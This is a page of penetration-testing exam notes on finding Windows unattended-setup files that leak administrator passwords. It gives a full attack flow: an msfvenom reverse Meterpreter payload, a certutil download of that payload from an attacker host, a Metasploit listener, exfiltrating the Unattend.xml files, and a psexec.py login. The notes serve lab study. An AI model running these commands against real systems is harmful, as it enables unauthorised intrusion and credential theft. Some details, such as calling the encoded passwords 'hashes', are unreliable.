👾
Rootkid - Cyber Journal
Portfolio
  • 👩‍🚀Introduction
    • 🤖About Cyber Journal & Rootkid
    • 📜License Agreement
    • ⚠️Disclaimer
  • 📚Exam Prep Notes
    • 🗒️KLCP Exam (PEN-103) - Notes
      • 1. Linux Fundamentals
      • 2. Introduction
      • 3. About Kali Linux
      • 4. Getting Started with Kali Linux
      • 5. Installing Kali Linux
      • 6. Configuring Kali Linux
      • 7. Helping Yourself and Getting Help
      • 8. Securing and Monitoring Kali Linux
      • 9. Debian Package Management
      • 10. Advanced Usage
      • 11. Kali Linux in the Enterprise
      • 12. Introduction to Security Assessments
      • 13. Conclusion: The Road Ahead
    • 📒ISO/IEC 27001:2022 Lead Auditor - Notes
      • ISO - Training - Day - 1
      • ISO - Training - Day - 2
      • ISO - Training - Day - 3
      • ISO - Training - Day - 4
      • Practice Questions - Notes
      • Other PDF References
    • 📑Junior Penetration Tester (eJPTv2) - Notes
      • 💡Assessment Methodologies
        • 🔍Information Gathering
          • 🌏Passive Information Gathering
          • 🧐Active Information Gathering
        • 👣Footprinting & Scanning
          • 🗺️Mapping a Network
          • 🎛️Port Scanning
        • 🕵️Enumeration
          • 📜SMB Enumeration
          • 📂FTP Enumeration
          • 🐚SSH Enumeration
          • 🕸️HTTP Enumeration
          • 🗄️MySQL & MSSQL Enumeration
        • 🐛Vulnerability Assessment
          • 🩸Case Study: Heartbleed Vulnerability (CVE-2014-0160)
          • 🔵Case Study: EternalBlue Vulnerability (CVE-2017-0143)
          • 👨‍💻Case Study: Log4J Vulnerability (CVE-2021-44228)
      • 🧰Assessment Methodologies: Auditing Fundamentals
      • 📶Host & Network Penetration Testing
        • 💻System/Host Based Attacks
          • 🪟Overview Of Windows Vulnerabilities
          • 💣Exploiting Windows Vulnerabilities
            • 🧨Exploiting Microsoft IIS WebDAV
            • 🧨Exploiting WebDAV With Metasploit
            • 🧨Exploiting SMB With PsExec
            • 🧨Exploiting Windows MS17-010 SMB Vulnerability (EternalBlue)
            • 🧨Exploiting RDP - Brute Force
            • 🧨Exploiting Windows CVE-2019-0708 RDP Vulnerability (BlueKeep)
            • 🧨Exploiting WinRM
          • 📈Windows Privilege Escalation
            • 🔥Windows Kernel Exploits
            • 🔥Bypassing UAC With UACMe
            • 🔥Access Token Impersonation
          • 🗃️Windows File System Vulnerability - Alternate Data Streams
          • 💳Windows Credential Dumping
            • 🔑Searching For Passwords In Windows Configuration Files
            • 🔑Dumping Hashes With Mimikatz
            • 🔑Pass-The-Hash Attacks
          • 💎Linux Vulnerabilities
          • 🎰Exploiting Linux Vulnerabilities
            • 🐚Exploiting Bash CVE-2014-6271 Vulnerability (Shellshock)
            • 🗄️Exploiting FTP - Linux
            • 🔐Exploiting SSH - Linux
            • 📭Exploiting SAMBA - Linux
          • ‼️Linux Privilege Escalation
            • 💥Linux Kernel Exploits
            • 💥Exploiting Misconfigured Cron Jobs
            • 💥Exploiting SUID Binaries
          • 🔐Linux Credential Dumping
        • 📶Network-Based Attacks
          • 📦Tshark & Filtering Basics
          • 🕷️Arp Poisoning
        • 💣The Metasploit Framework (MSF)
        • 💥Exploitation
          • 🖲️Vulnerability Scanning
          • ⚠️Searching For Exploits
          • 🐚Bind & Reverse Shells
          • 👾Exploitation Frameworks
          • 🪟Windows Exploitation
          • 🥌Linux Exploitation
          • ☣️AV Evasion & Obfuscation
        • 🚩Post-Exploitation
          • 🌬️Windows Local Enumeration
          • 📟Linux Local Enumeration
          • 🚜Transferring Files To Windows & Linux Targets
          • 🔼Upgrading Shells
          • 👀Windows Privilege Escalation
          • ⚒️Linux Privilege Escalation
          • 🔮Windows Persistence
          • 🧙Linux Persistence
          • 〰️Dumping & Cracking Windows Hashes (NTLM Hashes)
          • 🍘Dumping & Cracking Linux Password Hashes
          • ➿Pivoting Overview
          • 🧹Clearing Your Tracks On Windows & Linux
        • 🧑‍🔬Social Engineering Fundamentals
      • 🕸️Web Application Penetration Testing
        • ℹ️Intro to Web
        • 🎯Directory Enumeration
        • 🧰BurpSuite and ZAP-Proxy Overview
        • 🛠️Nikto, SQLMap, XSSer & Hydra Overview
      • 👽Extra Resources
        • ➕CIDR Conversion Table
        • 📦Machines or Lab Solved to Practice
    • 📓Certified in Cybersecurity - (ISC)2 - Notes
      • 📝Chapter-1 Security Controls - Notes
      • 📝Chapter-2 Incident Response, Business Continuity & Disaster Recovery - Notes
      • 📝Chapter 3: Access Control Concepts - Notes
      • 📝Chapter 4: Network Security - Notes
      • 📝Chapter 5: Security Operations - Notes
    • 📕Certified Ethical Hacker v12 - Practical - Notes
      • 👣Module 02: Footprinting and Reconnaissance
      • 🔎Module 03: Enumeration
      • Module 04: Scanning Networks
      • Module 05: Vulnerability Analysis
      • 💻Module 06: System Hacking
      • 🐛Module 07: Malware Threats
      • 🧙Module 08: Sniffing
      • 🐧Module 09: Social Engineering
      • ⚠️Module 10: Denial-of-Service
      • 🪝Module 11: Session Hijacking
      • Module 12: Evading IDS, Firewalls, and Honeypots
      • 🗄️Module 13: Hacking Web Servers
      • Module 14: Hacking Web Applications
      • 💉Module 15: SQL Injection
      • Module 16: Hacking Wireless Networks
      • Module 17: Hacking Mobile Platforms
      • Module 18: IoT and OT Hacking
      • Module 19: Cloud Computing
      • Module 20: Cryptography
      • Extra Resources
        • 📚Helpful Resources
        • 📜Cheat Sheet
  • ✍️Blogs
    • Mastering the Art of Logic Flaws: Unraveling Cyber Mysteries !!!
    • How to write a Detailed Vulnerability Report
    • Payment Gateway Bypass on Government Domain.
Powered by GitBook
On this page
  • Windows Configuration Files
  • Unattended Windows Setup
  • Attack Flow for Installing Meterpreter Shell and Extracting Password Hashes
  • Overview
  • Steps in the Attack Flow
  • 1. Create a Meterpreter Payload
  • 2. Install the Meterpreter Payload on the Target Machine
  • 3. Set Up a Listener on Your Local Machine
  • 4. Establish a Meterpreter Session
  • 5. Locate Autounattend.xml or Unattend.xml Files
  • 6. Download the Configuration Files
  • 7. Extract and Use Password Hashes

Was this helpful?

  1. Exam Prep Notes
  2. Junior Penetration Tester (eJPTv2) - Notes
  3. Host & Network Penetration Testing
  4. System/Host Based Attacks
  5. Windows Credential Dumping

Searching For Passwords In Windows Configuration Files

Windows Configuration Files

  • Windows can automate a variety of repetitive tasks, such as the mass rollout or installation of Windows on many systems.

  • This is typically done through the use of the Unattended Windows Setup utility, which is used to automate the mass installation/deployment of Windows on systems.

  • This tool utilizes configuration files that contain specific configurations and user account credentials, specifically the Administrator account’s password.

  • If the Unattended Windows Setup configuration files are left on the target system after installation, they can reveal user account credentials that can be used by attackers to authenticate with Windows target legitimately.

Unattended Windows Setup

  • The Unattended Windows Setup utility will typically utilize one of the following configuration files that contain user account and system configuration information:

    • C:\Windows\Panther\Unattend.xml

    • C:\Windows\Panther\Autounattend.xml

  • As a security precaution, the passwords stored in the Unattended Windows Setup configuration file may be encoded in base64.

Attack Flow for Installing Meterpreter Shell and Extracting Password Hashes

Overview

In this attack scenario, we aim to gain control over a Windows target server by installing a Meterpreter shell and then extracting password hashes from the Autounattend.xml or Unattend.xml files. These files often contain sensitive information, including password hashes, which can be used for further exploitation.

Steps in the Attack Flow

1. Create a Meterpreter Payload

  • Objective: Generate a malicious executable that will create a Meterpreter session on the Windows target server.

  • Command:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your_local_ip> LPORT=<your_local_port> -f exe -o meterpreter_shell.exe
  • Explanation: This command creates an exe file named meterpreter_shell.exe that, when executed on the target machine, will open a Meterpreter session back to your local machine.

2. Install the Meterpreter Payload on the Target Machine

  • Objective: Deliver and execute the meterpreter_shell.exe payload on the Windows target server.

  • Command:

    certutil -urlcache -split -f http://<your_local_ip>/meterpreter_shell.exe C:\Users\Public\meterpreter_shell.exe
  • Explanation: This command uses certutil to download and save the meterpreter_shell.exe payload from your local machine to the target machine.

  • Execute:

    C:\Users\Public\meterpreter_shell.exe
  • Explanation: Manually execute the downloaded payload to open a Meterpreter session.

Certutil is a versatile Windows command-line tool used for managing and configuring certificates and certification authorities (CAs). It provides advanced capabilities for dumping cached credentials, exporting and importing certificates, and configuring certificate trust stores, making it essential for both system administration and post-exploitation security assessments.

3. Set Up a Listener on Your Local Machine

  • Objective: Prepare your local machine to receive a connection from the Meterpreter payload.

  • Command:

    msfconsole
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST <your_local_ip>
    set LPORT <your_local_port>
    exploit
  • Explanation: This sets up a listener that waits for a connection from the Meterpreter shell.

4. Establish a Meterpreter Session

  • Objective: Gain control of the target system through the Meterpreter session.

  • Command:

    • Wait for the connection from the Meterpreter payload. Once the connection is established, you will have control over the target machine.

5. Locate Autounattend.xml or Unattend.xml Files

  • Objective: Find the files that contain the password hashes.

Approach 1: Search Using Meterpreter

  • Command:

    search -f autounattend.xml
    search -f unattend.xml
  • Explanation: Use the search command in Meterpreter to look for Autounattend.xml or Unattend.xml files on the target system.

Approach 2: Manual Navigation

  • Directories to Check:

    • C:\Windows\System32\Sysprep

    • C:\

    • C:\ProgramData\Microsoft\Windows\

  • Explanation: Navigate to these directories to manually look for Autounattend.xml or Unattend.xml files.

6. Download the Configuration Files

  • Objective: Transfer the Autounattend.xml or Unattend.xml files to your local machine for analysis.

  • Command:

    download C:\Path\To\Autounattend.xml
    download C:\Path\To\Unattend.xml
  • Explanation: Use the download command in Meterpreter to copy the files from the target machine to your local machine.

7. Extract and Use Password Hashes

  • Objective: Extract the password hashes from the downloaded files for further exploitation.

  • Tool:

  • Command:

    python psexec.py <target_ip> -u <username> -p <password>
  • Explanation: Use the psexec.py script to log into the target system using the extracted credentials.




Hacker's Mantra:Very smart people are often tricked by hackers, by phishing. I don’t exclude myself from that. It’s about being smarter than a hacker. Not about being smart. - Harper Reed

PreviousWindows Credential DumpingNextDumping Hashes With Mimikatz

Last updated 10 months ago

Was this helpful?

📚
📑
📶
💻
💳
🔑
psexec.py Script